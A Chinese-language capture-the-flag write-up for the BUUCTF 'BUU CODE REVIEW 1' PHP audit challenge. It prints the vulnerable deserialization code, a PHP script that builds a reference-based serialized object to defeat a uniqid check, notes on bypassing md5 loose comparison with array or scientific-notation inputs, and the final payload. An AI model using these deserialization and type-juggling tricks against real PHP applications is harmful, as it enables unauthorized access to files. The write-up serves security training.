BUU CODE REVIEW 1
php 代码审计
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
BUU 类的析构函数中给出了 flag,因此尝试获取它的值。
<?php
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);
因为 uniqid()
函数基于当前时间返回值,因此取 correct 的地址确保 input
恒等于 correct
。
注意到进行了反序列化,因此在这部分中回显序列化后的值。
下面这部分用 bp 抓包,进行一个 md5 绕过。科学计数法绕过和数组绕过等均可。用 Repeater 重新上传添加了参数的请求包即可。
其中 obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}